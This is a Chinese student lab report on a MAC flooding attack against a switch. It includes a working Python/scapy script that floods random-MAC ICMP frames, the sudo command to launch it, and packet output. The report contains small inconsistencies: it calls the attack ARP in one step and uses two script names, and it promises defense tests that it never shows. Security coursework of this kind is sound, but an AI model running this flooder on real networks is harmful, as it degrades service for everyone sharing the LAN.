

实验二 MAC 泛洪攻击与防御

Author: Haowen Hu

Student ID: 2023002089

实验目的和要求

本实验旨在深入理解交换机的 MAC 地址学习机制及其在网络安全中的重要性, 通过模拟 MAC 泛洪攻击, 观察攻击对交换机转发性能和网络安全的影响.

实验内容

使用软件工具对局域网实施 MAC 泛洪攻击, 向网络交换机发送大量带有随机源 MAC 地址的数据帧, 以使交换机的 MAC 地址表迅速被占满, 从而退化为广播模式. 通过观察攻击前后交换机的转发行为和网络性能变化, 分析 MAC 地址表溢出后对网络效率和数据安全的影响. 同时, 针对这种攻击采用多种防御措施进行验证.

主要软件

攻击机安装 Arch Linux 操作系统, 并正确接入局域网. 通过以太网接入局域网, 默认通过 DHCP 从网关获取 IP 地址.

攻击机软件脚本使用 Python 编写 (用到了 `scapy` third-party library). 脚本内容参见下方 "实验步骤" 或 [源代码文件](#).

实验步骤

- 攻击机安装好 Arch Linux 操作系统并正确接入局域网.
- 在系统上安装 Python 软件, 笔者选用 Anaconda. 然后用包管理器安装 `scapy` 库 (as mentioned according to the [package search page](#)):

```
conda install conda-forge::scapy
```

- 借助 `scapy` library, 编写源代码脚本文件用于发起 MAC 泛洪攻击. 笔者写的脚本如下:

```
import time
import random

from scapy.layers.l2 import Ether
from scapy.layers.inet import IP, ICMP
from scapy.all import sendp
```

```
HEX_DIGITS = "0123456789abcdef"
FORGERY_IP = "172.16.0.1"
IFACE = "enp5s0"

def gen_random_mac() -> str:
    result = ""
    for i in range(6):
        for j in range(2):
            result += random.choice(list(HEX_DIGITS))
        result += ":"
    return result[:-1]

def send_icmp_packet(forgery_ip: str = FORGERY_IP) -> None:
    src_mac = gen_random_mac()
    dst_mac = gen_random_mac()
    ether_packet = Ether(src=src_mac, dst=dst_mac)
    ether_packet.src = src_mac
    ether_packet.dst = dst_mac
    ether_packet.type = 0x0800 # IPv4
    icmp_packet = IP(dst=forgery_ip) / ICMP(type=8)
    frame = ether_packet / icmp_packet
    print("Packet to send:")
    frame.show()
    sendp(frame, iface=IFACE, verbose=False)

def attack() -> None:
    send_icmp_packet()

def main() -> None:
    t = 0
    print("Starting MAC flood attack...")
    try:
        while True:
            attack()
            time.sleep(0.01)
            t += 1
            if t % 50 == 0:
                print(f"Sent {t} MAC flood attack packets")
    except KeyboardInterrupt:
        print("Stopping MAC flood attack...")

if __name__ == "__main__":
    main()
```

脚本中定义了 `gen_random_mac()` 函数用于生成随机的 MAC 地址, `send_icmp_packet()` 函数用于发送 ICMP 包, `attack()` 函数用于调用 `send_icmp_packet()` 函数发送 ICMP 包, `main()` 函数用于循环调用

`attack()` 函数, 并打印发送的包数量.

4. 使用命令启动脚本进行 ARP 攻击. 注意若是非 root 用户, 添加 `sudo`.

```
sudo python arp.py
```

5. 观察局域网内连接的各主机状态. 笔者的攻击机直接连接到交换机设备, 观察与交换机直连的其余各主机, 出现了偶然间网络不畅甚至断网的状况. 但由于笔者所采用的交换机设备具有一定的 MAC 泛洪攻击防御机制, 实际攻击效果并不能达到完全理想的情况, 局域网内各主机并没有 "完全断网". 但从浅显现象也能看出 MAC 泛洪攻击在物理层面上 "部分" 生效.
6. 到任意时刻, 终止 MAC 泛洪攻击 (通过终端向 Python 发送 SIGINT 信号). 终止攻击脚本后, 局域网内各主机网络状态恢复正常, 不再出现 "间歇性断网" 现象.

运行结果 (截屏)

```
$ sudo python macof.py
Starting MAC flood attack...
Packet to send:
###[ Ethernet ]###
  dst      = 13:53:d1:0d:68:f7
  src      = ed:b4:61:d4:74:cb
  type     = IPv4
###[ IP ]###
  version  = 4
  ihl      = None
  tos      = 0x0
  len      = None
  id       = 1
  flags    =
  frag     = 0
  ttl      = 64
  proto    = icmp
  chksum   = None
  src      = 172.16.0.132
  dst      = 172.16.0.1
  \options \
###[ ICMP ]###
  type     = echo-request
  code     = 0
  chksum   = None
  id       = 0x0
  seq      = 0x0
  unused   = b''

Packet to send:
###[ Ethernet ]###
  dst      = 2e:3c:56:83:1d:44
  src      = ed:c6:3f:1e:5e:07
  type     = IPv4
```

```
seq      = 0x0
unused   = b''

Packet to send:
###[ Ethernet ]###
  dst      = 6e:0f:67:d3:02:71
  src      = a5:6b:68:e0:64:22
  type     = IPv4
###[ IP ]###
  version  = 4
  ihl      = None
  tos      = 0x0
  len      = None
  id       = 1
  flags    =
  frag     = 0
  ttl      = 64
  proto    = icmp
  chksum   = None
  src      = 172.16.0.132
  dst      = 172.16.0.1
  \options \
###[ ICMP ]###
  type     = echo-request
  code     = 0
  chksum   = None
  id       = 0x0
  seq      = 0x0
  unused   = b''

^CStopping MAC flood attack...
(default)
# srcres @ srcres-computer in ~/C
$ □
```

实验分析与心得

本实验通过模拟 MAC 泛洪攻击, 观察攻击对交换机转发性能和网络安全的影响, 并分析 MAC 地址表溢出后对网络效率和数据安全的影响. 实验中, 笔者使用了 Python 脚本, 并借助 `scapy` 库实现了 MAC 泛洪攻击. 实验结果表明, MAC 泛洪攻击在物理层面上 "部分" 生效, 并对网络性能和数据安全产生了一定影响. 但由于 MAC 泛洪攻击的防御机制并不完善, 攻击者仍有可能通过其他手段绕过防御机制, 导致网络安全问题. 因此, MAC 泛洪攻击在网络安全中应当被视为一种 "有限" 的攻击手段, 并应当配合其他安全措施 (如 ACL, 入侵检测系统等) 一起使用, 才能有效防御网络安全攻击.

最后, 本实验的所有内容 (含代码) 均已上传至 GitHub: <https://github.com/srcres258/netsec-exp> . 欢迎 Star! 本实验的所有内容 (含代码) 均已上传至 GitHub: <https://github.com/srcres258/netsec-exp> . 欢迎 Star!